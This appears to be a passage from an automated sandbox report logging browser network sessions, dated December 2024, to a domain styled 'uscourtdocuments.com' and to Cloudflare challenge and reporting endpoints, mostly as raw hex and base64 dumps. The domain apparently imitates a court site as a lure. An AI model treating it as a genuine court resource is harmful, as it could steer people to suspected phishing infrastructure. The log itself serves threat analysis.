lJKkZGCgcYCVmpt3b6aMaqmfh5CBh4WxvHSIj7jAd7mOf4KXhYOCwaZ+zJ+ij86SzYzLxau4lcSUxMnZzpy9w92y2ranwLfS09zN4ca7rOvEq8rHxOvPtdmzs9bv+eLv2/bT3tQA2d7F/ezYDv3f7tD98+LfAdkQFdPbDuvW7RsNARUBIBUfDPQpAQz5Ch8JNOwzATc3KRUWBScx8SsiIP4NJDU+/gFHFgNBJiUZOh8NHig2MSo6NVwlLxcsMTQ
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 61 43 6c 72 5a 69 63 6f 58 69 69 63 48 4f 4c 72 6e 53 42 6a 37 4f 4b 6b 61 69 64 76 33 32 4a 6f 72 2b 62 75 33 65 55 68 38 6d 2f 6c 48 33 4a 6d 61 69 34 69 4d 71 77 6a 4e 43 30 72 36 4c 44 71 39 72 4c 70 73 66 4f 72 39 2f 43 71 35 58 55 73 39 47 64 32 65 54 4c 31 62 72 63 35 2b 37 73 35 38 43 79 7a 4e 48 6d 31 65 79 31 2b 64 62 73 75 4d 67 41 76 37 72 42 2f 4f 33 50 78 51 6e 79 32 38 51 4b 39 75 54 59 42 2f 6f 50 43 2b 58 4f 31 52 59 43 44 64 6e 56 43 39 54 6d 39 2f 73 56 37 76 6b 54 33 66 59 41 42 52 7a 79 42 41 77 67 2b 68 38 66 36 4f 6b 52 44 79 67 6a 4e 79 6b 30 39 66 63 30 4c 52 62 31 2b 6a 70 43 51 2f 30 64 46 6b 45 63 4f 52 34 65 42 79 4d 34 43 79 6b 6c 54 41 34 79 4a 79 59 6b 49 69 46 50 45 68 6c 63 4a 6c 73 71 53 7a 41 5a 48 6c 52 68 53 46 67 6a Data Ascii: aClrZicoXiicHOLrnSBj7OKkaidv32Jor+bu3eUh8m/lH3Jmai4iMqwjNC0r6LDq9rLpsfOr9/Cq5XUs9Gd2eTL1brc5+7s58CyzNHm1ey1+dbsuMgAv7rB/O3PxQny28QK9uTYB/oPC+XO1RYCDdnVC9Tm9/sV7vkT3fYABRzyBAwg+h8f6OkRDygjNyk09fc0LRb1+jpCQ/0dFkEcOR4eByM4CyklTA4yJyYkIiFPEhlcJlsqSzAZHlRhSFgj
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 70 78 67 6f 75 51 6a 6f 6d 4c 74 33 57 4f 6b 4a 5a 34 75 61 2b 70 72 34 4b 7a 77 70 57 33 65 62 6d 33 6e 59 72 4a 7a 72 65 33 72 4d 4b 4d 30 62 32 39 30 39 48 52 6b 36 66 4e 78 5a 61 62 33 4d 71 72 79 39 57 64 75 4e 54 5a 79 64 69 6d 34 62 71 39 33 62 32 34 72 50 48 6b 70 72 43 73 35 75 36 79 7a 65 6e 63 7a 74 37 76 33 77 4c 4b 76 77 4c 32 31 74 69 2b 38 38 49 4b 39 77 54 38 39 2b 37 38 36 50 50 7a 33 67 77 49 39 67 49 4e 36 74 50 50 37 52 66 62 32 66 55 69 47 76 67 6e 4a 67 6b 61 49 68 59 57 36 4f 73 61 42 2b 6e 37 4e 41 6b 6f 44 50 55 69 43 2f 41 57 4c 7a 41 2f 47 52 30 30 41 42 5a 47 4f 41 51 64 4f 7a 77 72 49 30 30 63 4f 7a 6b 6e 43 7a 49 72 46 52 59 6b 52 6c 64 55 47 46 6b 6c 55 30 30 34 54 46 4a 57 58 6a 55 78 48 57 4a 6e 4e 6c 51 30 4b 31 6f 34 61 Data Ascii: pxgouQjomLt3WOkJZ4ua+pr4KzwpW3ebm3nYrJzre3rMKM0b2909HRk6fNxZab3Mqry9WduNTZydim4bq93b24rPHkprCs5u6yzenczt7v3wLKvwL21ti+88IK9wT89+786PPz3gwI9gIN6tPP7Rfb2fUiGvgnJgkaIhYW6OsaB+n7NAkoDPUiC/AWLzA/GR00ABZGOAQdOzwrI00cOzknCzIrFRYkRldUGFklU004TFJWXjUxHWJnNlQ0K1o4a
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 4d 6a 35 70 36 6c 70 57 6d 63 49 35 35 6a 71 36 38 6a 73 53 6c 65 62 69 68 6c 38 6d 4b 6c 6f 75 42 6a 38 57 78 77 63 79 73 79 63 66 53 6f 59 7a 46 6d 37 61 2b 32 37 2b 38 74 4a 58 59 78 4c 57 2f 32 64 65 6d 77 4f 33 72 72 74 79 77 32 72 37 64 76 2b 2b 76 7a 4f 65 77 2b 63 37 74 79 74 4c 53 33 4f 45 43 33 66 4c 45 34 37 2f 37 41 2f 63 49 33 4f 33 66 44 66 7a 37 44 39 41 55 44 50 62 7a 42 77 67 4f 46 65 7a 62 46 68 76 32 41 67 73 41 41 76 34 44 45 65 41 6c 46 51 72 6b 36 65 51 52 2f 53 30 68 49 52 30 4c 4c 66 55 57 42 77 33 78 44 41 63 4f 47 79 77 62 46 50 55 5a 47 68 63 6b 51 6a 52 48 4a 78 77 6b 47 43 41 6d 49 44 31 46 45 53 67 78 57 45 46 53 53 45 35 55 57 54 4d 63 49 43 42 44 4a 47 5a 65 51 69 63 38 59 43 4a 6c 50 79 6b 70 5a 6a 39 72 59 32 46 4d 4d 30 Data Ascii: Mj5p6lpWmcI55jq68jsSlebihl8mKlouBj8WxwcysycfSoYzFm7a+27+8tJXYxLW/2demwO3rrtyw2r7dv++vzOew+c7tytLS3OEC3fLE47/7A/cI3O3fDfz7D9AUDPbzBwgOFezbFhv2AgsAAv4DEeAlFQrk6eQR/S0hIR0LLfUWBw3xDAcOGywbFPUZGhckQjRHJxwkGCAmID1FESgxWEFSSE5UWTMcICBDJGZeQic8YCJlPykpZj9rY2FMM0
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 6c 4a 57 64 6c 33 6d 59 6e 35 65 39 78 70 7a 43 6b 38 50 43 79 38 71 36 72 49 50 51 70 73 53 53 30 64 57 73 77 71 65 52 7a 4b 69 71 72 63 32 31 76 74 57 67 74 62 65 6a 76 75 4c 5a 74 64 7a 73 32 72 7a 4b 70 38 72 53 77 4c 48 4c 78 38 4c 5a 37 63 72 71 79 4d 6d 78 34 64 61 35 74 66 48 59 2f 64 44 51 41 4e 50 7a 42 77 2f 6d 43 2b 6a 48 45 51 41 4a 30 52 49 47 36 41 4c 54 39 50 66 56 36 2f 7a 79 36 52 54 79 49 42 73 59 35 79 66 6c 2f 65 6b 4f 44 2b 6e 68 4a 77 45 73 44 77 6b 6e 43 52 51 59 4f 54 73 6f 46 68 48 31 4b 77 6e 37 2f 42 49 57 2f 69 55 5a 4a 54 6a 38 4a 7a 59 33 54 79 6f 37 54 55 74 51 44 6b 34 56 56 54 63 53 53 6b 77 61 58 46 4d 79 57 6a 42 4e 56 6c 78 5a 5a 31 73 2b 5a 6d 59 6b 62 6c 34 74 61 32 74 51 61 57 6c 74 4d 46 56 4f 54 48 6c 45 54 6e 74 Data Ascii: lJWdl3mYn5e9xpzCk8PCy8q6rIPQpsSS0dWswqeRzKiqrc21vtWgtbejvuLZtdzs2rzKp8rSwLHLx8LZ7crqyMmx4da5tfHY/dDQANPzBw/mC+jHEQAJ0RIG6ALT9PfV6/zy6RTyIBsY5yfl/ekOD+nhJwEsDwknCRQYOTsoFhH1Kwn7/BIW/iUZJTj8JzY3Tyo7TUtQDk4VVTcSSkwaXFMyWjBNVlxZZ1s+ZmYkbl4ta2tQaWltMFVOTHlETnt
2024-12-09 13:19:40 UTC	1369	IN	Data Raw: 34 47 62 6c 35 4b 70 76 5a 72 41 78 61 65 62 30 4a 6e 45 6f 35 36 74 78 4b 6a 46 7a 62 58 47 73 38 37 65 6e 4c 69 35 74 4c 6e 67 32 72 2b 6b 30 62 4f 32 73 38 53 39 72 73 62 76 37 76 4c 63 73 4d 54 65 7a 73 76 6f 78 2b 69 35 78 66 44 4f 2b 37 73 42 77 77 4c 6b 33 4e 76 56 2b 4e 73 4b 78 65 6a 39 79 67 67 47 79 52 41 4f 34 64 50 52 35 66 51 4f 2b 74 76 6d 36 50 59 57 32 66 6f 42 47 41 55 6a 38 2f 6b 67 49 67 7a 72 42 75 51 49 4c 69 63 50 37 44 41 45 48 79 55 45 4c 67 67 54 37 67 63 74 48 7a 6a 36 51 54 38 2b 49 68 30 48 47 67 55 63 46 45 30 6f 51 6b 5a 4d 52 77 6f 47 55 69 55 55 4a 79 51 6d 54 69 74 62 4a 78 46 4e 55 68 6b 37 4d 56 52 43 59 31 52 6a 4e 7a 5a 42 57 55 31 66 52 48 49 70 4d 7a 46 64 54 45 4e 41 64 30 6f 33 53 55 5a 30 57 46 35 76 51 48 35 6c Data Ascii: 4Gbl5KpvZrAxaeb0JnEo56txKjFzbXGs87enLi5tLng2r+k0bO2s8S9rsbv7vLcsMTezsvox+i5xfDO+7sBwwLk3NvV+NsKxej9yggGyRAO4dPR5fQO+tvm6PYW2foBGAUj8/kgIgzrBuQILicP7DAEHyUELggT7gctHzj6QT8+Ih0HGgUcFE0oQkZMRwoGUiUUJyQmTitbJxFNUhk7MVRCY1RjNzZBWU1fRHIpMzFdTENAd0o3SUZ0WF5vQH5l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49783	104.21.1.136	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:41 UTC	664	OUT	GET /favicon.ico HTTP/1.1 Host: jdjdhjh.uscourtdocuments.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=sl0suu9ntcc53peup2c7cdtnrn
2024-12-09 13:19:41 UTC	851	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 13:19:41 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 34 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DWM2sKb1IwcQ6nZFRHi66UtsGYg%2BxXwP0BSeDsP1MOUX69uZ8dcLc1cFHDRK3P55Ljp31rHZwd1Rtu2QBmb%2F4lK%2FOivJjnmbXqQbMjaN8XoTREBBcgGZAdGCDlOtyyjosohn%2BA8bKl4YjvFWc78R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef549cb096642a7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1744&min_rtt=1736&rtt_var=667&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=1242&delivery_rate=1620421&cwnd=199&unsent_bytes=0&cid=4f1ad22d714d0c41&ts=450&x=0"
2024-12-09 13:19:41 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-12-09 13:19:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49785	104.18.94.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:42 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:42 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 13:19:42 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: zQWysp68KtBk4uKxagFe/Wl5uxHKqBhTGRQ=$lGHH+0uMV+XqclLL Server: cloudflare CF-RAY: 8ef549d2f8727d24-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:42 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49789	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:42 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ef549aa0e1f4376/1733750380225/lkZzm5MAjpxYvTY HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:43 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:43 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ef549d61d4743f8-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:43 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3d 00 00 00 4c 08 02 00 00 00 51 7e 28 da 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR=LQ~(IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49790	35.190.80.1	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:42 UTC	565	OUT	OPTIONS /report/v4?s=DWM2sKb1IwcQ6nZFRHi66UtsGYg%2BxXwP0BSeDsP1MOUX69uZ8dcLc1cFHDRK3P55Ljp31rHZwd1Rtu2QBmb%2F4lK%2FOivJjnmbXqQbMjaN8XoTREBBcgGZAdGCDlOtyyjosohn%2BA8bKl4YjvFWc78R HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://jdjdhjh.uscourtdocuments.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:43 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 09 Dec 2024 13:19:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49793	35.190.80.1	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:44 UTC	494	OUT	POST /report/v4?s=DWM2sKb1IwcQ6nZFRHi66UtsGYg%2BxXwP0BSeDsP1MOUX69uZ8dcLc1cFHDRK3P55Ljp31rHZwd1Rtu2QBmb%2F4lK%2FOivJjnmbXqQbMjaN8XoTREBBcgGZAdGCDlOtyyjosohn%2BA8bKl4YjvFWc78R HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 452 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:44 UTC	452	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 38 36 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 64 6a 64 68 6a 68 2e 75 73 63 6f 75 72 74 64 6f 63 75 6d 65 6e 74 73 2e 63 6f 6d 2f 41 33 52 6a 51 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 2e 31 33 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 Data Ascii: [{"age":1,"body":{"elapsed_time":2869,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://jdjdhjh.uscourtdocuments.com/A3RjQ/","sampling_fraction":1.0,"server_ip":"104.21.1.136","status_code":404,"type":"http.error"},"type":"net
2024-12-09 13:19:45 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 09 Dec 2024 13:19:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49797	104.18.94.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:44 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ef549aa0e1f4376/1733750380225/lkZzm5MAjpxYvTY HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:45 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:45 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ef549e3fae178df-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3d 00 00 00 4c 08 02 00 00 00 51 7e 28 da 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR=LQ~(IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49798	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:45 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8ef549aa0e1f4376/1733750380229/f2673f3c80635165d7425bd75ded73beb7c00f917772d03392c76931f3491cbf/FcewdqneL0O20v9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:45 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 09 Dec 2024 13:19:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-09 13:19:45 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 38 6d 63 5f 50 49 42 6a 55 57 58 58 51 6c 76 58 58 65 31 7a 76 72 66 41 44 35 46 33 63 74 41 7a 6b 73 64 70 4d 66 4e 4a 48 4c 38 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g8mc_PIBjUWXXQlvXXe1zvrfAD5F3ctAzksdpMfNJHL8AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-09 13:19:45 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49801	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:46 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31807 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:46 UTC	16384	OUT	Data Raw: 76 5f 38 65 66 35 34 39 61 61 30 65 31 66 34 33 37 36 3d 54 78 56 59 6d 45 36 44 6e 45 6e 63 78 32 44 37 35 76 32 76 59 37 25 32 62 54 56 38 44 71 65 4e 71 32 41 32 4c 2b 24 71 32 54 32 37 58 55 44 63 36 6c 45 4e 59 70 2b 32 37 36 6a 55 32 77 6f 32 32 62 71 32 52 59 32 4e 32 39 65 36 32 36 46 32 43 74 49 42 56 38 32 55 55 32 78 2d 4a 74 6d 35 44 59 39 37 36 61 70 59 24 37 6e 37 32 36 30 71 6a 4b 59 70 37 4e 76 32 70 76 59 36 2d 63 4b 59 36 4a 32 65 41 74 57 58 53 30 32 77 4d 58 32 77 30 4e 32 69 2b 36 47 65 2b 32 39 69 61 54 32 2b 43 72 2d 32 61 63 32 55 7a 38 56 52 54 76 6f 43 61 54 59 71 70 44 6c 69 32 49 2d 63 6d 62 79 45 6d 4e 55 32 55 54 59 67 58 48 52 32 38 63 73 42 45 4e 44 33 6d 30 45 6e 6e 36 54 35 6e 67 48 54 31 64 52 49 31 47 62 67 5a 45 5a 6c Data Ascii: v_8ef549aa0e1f4376=TxVYmE6DnEncx2D75v2vY7%2bTV8DqeNq2A2L+$q2T27XUDc6lENYp+276jU2wo22bq2RY2N29e626F2CtIBV82UU2x-Jtm5DY976apY$7n7260qjKYp7Nv2pvY6-cKY6J2eAtWXS02wMX2w0N2i+6Ge+29iaT2+Cr-2ac2Uz8VRTvoCaTYqpDli2I-cmbyEmNU2UTYgXHR28csBEND3m0Enn6T5ngHT1dRI1GbgZEZl
2024-12-09 13:19:46 UTC	15423	OUT	Data Raw: 6d 79 32 2d 32 75 79 70 58 47 59 67 6e 56 56 45 58 32 59 38 56 59 32 32 4f 31 37 49 6f 32 34 58 24 5a 36 45 32 5a 37 54 32 32 47 4d 32 59 55 6e 36 67 59 35 59 32 6a 32 79 56 67 76 65 56 36 79 75 32 32 5a 32 38 4b 59 71 32 56 59 38 56 32 78 59 77 59 45 55 32 52 6a 46 59 38 4d 32 69 2b 69 58 36 69 32 44 6e 38 59 38 37 32 75 32 56 76 36 4e 32 33 32 38 2b 38 62 32 2b 59 69 6e 45 5a 32 6c 76 56 6e 32 67 32 73 59 69 56 36 73 32 42 59 45 58 32 61 59 41 59 24 37 32 69 32 56 32 36 37 36 4a 32 68 6e 36 2b 55 32 32 4a 31 6e 36 4e 32 6b 59 63 2b 32 24 59 65 35 76 52 59 47 32 66 59 6e 4c 56 2b 32 64 32 38 45 32 68 63 4f 32 32 6e 38 2d 32 44 6e 55 32 65 72 32 58 59 77 32 45 62 36 2b 78 69 52 36 55 32 79 38 4e 58 45 62 32 57 32 32 7a 36 58 36 57 32 65 59 38 53 32 2d 59 Data Ascii: my2-2uypXGYgnVVEX2Y8VY22O17Io24X$Z6E2Z7T22GM2YUn6gY5Y2j2yVgveV6yu22Z28KYq2VY8V2xYwYEU2RjFY8M2i+iX6i2Dn8Y872u2Vv6N2328+8b2+YinEZ2lvVn2g2sYiV6s2BYEX2aYAY$72i2V2676J2hn6+U22J1n6N2kYc+2$Ye5vRYG2fYnLV+2d28E2hcO22n8-2DnU2er2XYw2Eb6+xiR6U2y8NXEb2W22z6X6W2eY8S2-Y
